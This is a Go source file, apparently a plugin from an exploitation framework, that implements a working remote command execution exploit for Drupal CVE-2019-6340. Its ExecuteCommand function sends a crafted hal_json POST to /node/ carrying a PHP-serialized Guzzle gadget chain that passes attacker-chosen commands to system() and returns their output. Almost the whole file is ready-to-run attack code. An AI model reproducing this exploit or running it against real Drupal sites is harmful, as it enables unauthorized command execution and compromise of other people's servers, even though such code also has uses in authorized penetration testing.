package drops

import (
	"context"
	"fmt"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	shttp "gitee.com/wudicaidou/menciis-shttp"
	"net/http"
	"net/url"
	"strconv"
)

type DrupalCve20196340 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp DrupalCve20196340
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *DrupalCve20196340) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "e8817a93-7bdd-4652-bb21-b20cbe442520",
		VulId:   "5098f0c8-f537-4cd7-9620-ba5c0c633211",
		Name:    "Drupal_CVE_2019_6340",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *DrupalCve20196340) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	newUrl, err := url.Parse(req.GetUrl().String() + `/node/?_format=hal_json`)
	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodPost
	req.RawRequest.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
	req.RawRequest.Header.Add("Connection", "close")
	req.RawRequest.Header.Add("Content-Type", "application/hal+json")
	req.RawRequest.Header.Add("Accepts", "*/*")
	req.RawRequest.Header.Add("Cache-Control", "no-cache")
	for _, cmd := range expContext.CommandToExecute {
		body := fmt.Sprintf(`{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:%s:\"%s\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "%s/rest/type/shortcut/default"
    }
  }
}`, strconv.Itoa(len(cmd)), cmd, "http://"+req.GetHost())

		req.SetBody([]byte(body))
		client, _ := shttp.NewDefaultClient(nil)
		resp, err := client.Do(ctx, req)
		if err != nil {
			fmt.Println(err.Error())
		}
		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return data, nil
}

func (t *DrupalCve20196340) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *DrupalCve20196340) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
